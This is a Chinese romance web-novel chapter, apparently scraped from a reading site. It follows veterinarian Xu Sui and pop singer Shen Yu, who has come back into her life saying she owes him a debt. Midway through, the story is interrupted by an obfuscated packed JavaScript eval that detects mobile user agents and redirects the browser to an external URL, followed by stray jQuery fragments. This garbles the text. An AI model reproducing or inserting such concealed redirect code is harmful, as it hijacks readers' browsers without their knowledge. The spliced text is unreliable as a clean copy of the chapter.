1. 讨债

作品:《请在此刻吻我

    从北城回到s市已经有三个月了,徐岁总算是稍稍适应了这边的天气。


    不愧是被称为烟雨江南的地方,三个月里大半时日都在落雨。


    只是时光飞逝,今非昔比,彼时令她格外恐慌的朦胧烟雨,此时竟也成了一种得以心平气和欣赏的风景。


    从学姐那里接手过来的宠物医院如今也渐渐步入正轨。


    摸了摸一旁在她脚边晃来晃去的萨摩耶,徐岁将还在震动的手机拿出来。


    是每周都会固定发来的消息。


    【医院现在如何?】


    【有空的话方便聊一聊吗?】


    徐岁按照惯例将自己最近的日常总结了下发过去,随后又添了句。


    【我觉得还不错。】


    诊间门被叩响,员工小吴探头进来,“院长,约了今天体检的到了。”


    是只很可爱的马尔济斯,上个月曾在这里寄养过。


    主人是个很年轻的男孩子,像是刚毕业的大学生,青春洋溢,但说起话来总显得有些局促。


    好在这马尔济斯跟徐岁很熟,体检的时候全程配合,结束后也只是有些委屈巴巴的替自己选了个舒服的位置,扎在徐岁怀里。


    徐岁笑笑,等待体检结果的间隙又给狗主人科普了一些简单的养狗常识。


    狗主人挠了挠头,有些羞涩,“能加个微信吗?这是我第一次养狗,太多事情不了解,要是以后有什么不懂的,可以问一问你。”


    “当然可以。”徐岁摸出手机,两人扫了微信。


    报告很快出来,一切指标都很正常,除了最近狗狗挑食导致有些轻微的贫血。


    如愿加了微信的狗主人红着脸离开后,小吴和安琪站在前台一脸揶揄的看着她。


    虽是院长,但徐岁的脾气很好,所以员工们平时会跟她开些无伤大雅的玩笑。


    “刚刚那位好像是个牙医,上次他在前台接电话,我听到了点。”


    安琪笑呵呵的跟小吴一唱一和,“牙医,那跟咱们兽医还挺配的。”


    徐岁很漂亮,且是毫无攻击性的那种漂亮,乍一眼望去或许不觉得有多惊艳,可越看越移不开眼,一颦一笑总好似带了些不同寻常的韵味。


    加上性格又好,说起话来也温温柔柔的,单是来到s市的这几个月里,追求者便络绎不绝,所以对于她的感情问题,一直是员工们八卦的重点。


    好在听多了她也就直接无视了。


    喝了口水,翻看着救助群里发的信息,回了几个救助人,可以免费替他们救助的的动物进行治疗。


    “沈聿新出的歌你们听了吗?”


    猝不及防听到这么一句,徐岁离开的动作一顿。


    安琪平日里喜欢关注娱乐报道,对于娱乐圈里的明星,歌手,各种八卦了如指掌。


    这家明星令人羞耻的黑历史,那家演员不为人知的小绯闻,也不知是哪里来的人脉,总之,甚少有她不知道的。


    刷了会儿视频正好看到某当红歌手当众怒怼狗仔的新闻,对着视频中的俊脸欣赏了片刻,就顺嘴问了这么一句。


    “当然,专辑我都买了,”小吴是沈聿的老粉,一听到谈论自己的偶像立马就摆出西子捧心的架势。


    随后又跟着八卦道:“你有没有觉得他这次的新歌跟以前的风格很不一样?”


    沈聿是几年前爆火的流行歌手,创作的音乐常年挂在榜单上,传唱度极高,加上长了张俊俏的脸,以及潇洒不羁的风格,一举斩获不少粉丝。


    小吴将沈聿的新歌放出来,略带荡漾的曲风让徐岁也跟着微微出神。


    安琪一本正经的给出结论,“我觉得沈聿有很大可能恋爱了。”


    可不止她一个人这么认为,如今网上关于沈聿恋情的帖子已经直接飙上了热榜第一。


    作为粉丝,小吴垮了垮脸,但随即又高兴起来,“我觉得也像,不是说沈聿先前被坏女人骗过吗,现在八成是已经忘记那个坏女人走出来了,这是好事啊。”


    说到坏女人,其实是沈聿刚出道时创作的歌曲太过伤感,情感充沛到被粉丝调侃没跑十个老婆唱不出来。


    这话不知怎得传到了沈聿耳朵里,到底是年轻气盛,容易冲动,想到什么便做什么,脑子一热,直接发了条微博。


    【没有十个,就跑了一个,是个阴险狡诈,心狠手辣,善于迷惑人心的坏女人!】


    一连三个形容词足以见那人伤他有多深。


    后续在某次综艺采访时也说了同样的话,话里的咬牙切齿明显代表着他对这人记忆十分深刻。


    这条微博也引发了沈聿粉丝的广泛讨论。


    沈聿出道至今已将近八年,从未爆出过恋情不说,连个绯闻对象都不曾有过,翻开从前的各种小细节,粉丝们觉得他八成是当年被骗的PTSD了。


    不过更是有人猜测,沈聿对他口中的坏女人很大可能还爱着。


    即便他死不承认,也能从他出道这么些年写的歌里窥探到一二。


    于是一些什么都能嗑一嗑的‘嗑学家’们,就这样诡异的嗑起了沈聿和坏女人的cp。


    徐岁默默听着,在这两人开始猜测这坏女人是何模样时起身去给店里的小三花喂了根猫条,摸摸它的脑袋,又陪着寄养的萨摩耶玩了会儿,收拾收拾准备下班。


    等她走出医院的门,两人坐在前台捧着脸,徐岁背影消失时,安琪道:“院长最近下班似乎都很早。”


    小吴摸着下巴赞同点头。


    倒也不怪两人好奇,这宠物医院转到徐岁手中不过三个月,刚接手时,徐岁恨不得整日整夜都呆在这里,是个名副其实的工作狂。


    虽说干这行的大多都是对动物十分喜爱的,但徐岁对动物的喜爱令两人自愧不如。


    从她接手梧桐宠物医院开始,店里就时常会有救助基地送来的流浪猫狗。


    有因车祸伤势太重的,有被人虐待将骨头折断的,遇到病情稍重一些的,徐岁干脆直接搬个椅子睡在旁边。


    便是不太忙的时候,她大多也会选择待在医院。


    然而从半个月前,徐岁突然开始按时下班了。


    这种事情放在别人身上或许是正常的,但放在一个工作狂身上,明显就有些奇怪了。


    两人对视一眼,从对方眼中看到了相同的结论。


    “老板估计也恋爱了。”


    为了方便出夜诊,徐岁居住的地方就在宠物医院附近,步行不到十分钟的距离。


    回去的路上经过菜市场,进去买了些菜。


    电梯停在八楼,徐岁刚到门口就闻到了诱人的饭菜香味。


    甚至不用她去包里摸钥匙,里头的人如同计算着她回来的时间一般,咔哒一声将门推开,木着一张脸将她手里的菜接过去,顺手将人也拉了进去。


    一气呵成。


    不过他似乎对徐岁买的菜有很大的意见,俊脸紧绷着,“我不喜欢吃胡萝卜,你怎么又买?”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17004854|194034||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    徐岁边换鞋边温声回他,“不要紧,我吃。”


    问题在于胡萝卜吗?


    也不知是不是对她这般轻描淡写的态度不满意,男人深吸了口气,忍了又忍到底是没能忍住,“合着我是来给你当保姆的?还要专门给你做你爱吃的菜是吗?”


    他将徐岁抵在门后,语气冷的仿若结冰,“徐岁,是你欠了我,不是我欠了你!”


    一句话落地,连日来的粉饰太平总算是稍稍的撕开了一角。


    面对骤然暴躁的男人,徐岁沉默。


    她去洗了手,出来时男人还站在门口杵着,写满了控诉的黑眸冷飕飕的盯着她,执拗的等她给出一个合适的回应。


    徐岁轻轻叹气。


    若是小吴此刻站在这里,一定立刻就能认出来,眼前这人正是她口中那位或许陷入了热恋的当红歌手沈聿。


    但她猜错了一点,不是恋爱,而是讨债。


    九年前的北城,这人奔波千里跑到她面前,誓要问她要一个说法时,便是如今这副表情。


    那年她十八岁,人生迈入新章程。


    去了距家三千多公里的北城上大学。


    从踏入大学校门的那一刻开始,徐岁的步伐就从未停止过。


    她像是一个必须要不停转动的陀螺一样,大脑里只能装下学习和赚钱两个词。


    北城很冷,刚入秋风便像刀子一般,到了冬日,更是夸张。


    第一场雪落下时,徐岁刚做完家教回来,身上裹着厚重的羽绒服,脸颊被围巾遮挡的只露出一双眼睛。


    空洞且疲惫。


    许是那时她性格太差,加上不善言辞,在学校没交到什么朋友。


    舍友脾气都很好,奈何只有她融不进去,嬉笑打闹的寝室只要她一推开门,气氛便会骤然安静下去。


    仿佛她是往热闹火堆里浇上去的一盆冷水。


    也像是被置于柔软蚌肉之中无法变成珍珠却时时刻刻令其感到不自在的沙砾。


    她处于其中,便是这种感受,只好尽量降低自己的存在感。


    次数多了,徐岁也清楚了自己的不讨喜,不再试图努力强行融入不属于自己的圈子。


    好在她早已经习惯了踽踽独行,并不需要与人作伴。


    只是夜深人静时偶尔也会觉得有些沮丧。


    沈聿出现的猝不及防,白茫茫的雪落了一头,睫毛上也结了冰,可怜巴巴的蹲在路边,时不时的抬头张望,不知等了多久。


    如同一只被主人遗弃了只能在原地等待,甚至不知主人会不会归来的可怜小狗。


    那双在得知被她欺骗时充满愤怒与失望的眼睛在看到她的那瞬间迸发出巨大的惊喜来。


    好似只要她开口解释,无论多离谱的理由他都能接受。


    短暂的无措后,徐岁很快反应了过来,冷漠或许也可以被称为残忍的与他进行了一场不怎么愉快的交谈。


    这个自小便养尊处优从未受过什么委屈的大少爷,在徐岁这里狠狠的摔了一跤。


    那次之后,两人也算是彻底的撕破了脸,沈聿再未去找过她。


    而如今,她走上前,将从前能将人逼退三尺的疏离退去,半是安抚半是迁就的往沈聿唇上亲了下。


    在他愣神间,接过他手里的菜放入冰箱。


    刚回过头,便被人直接按在了玄关的墙壁上,冷冽的眸子直勾勾的盯着她,像要将她生吞活剥一般,“你不会以为我会吃你这一套吧?”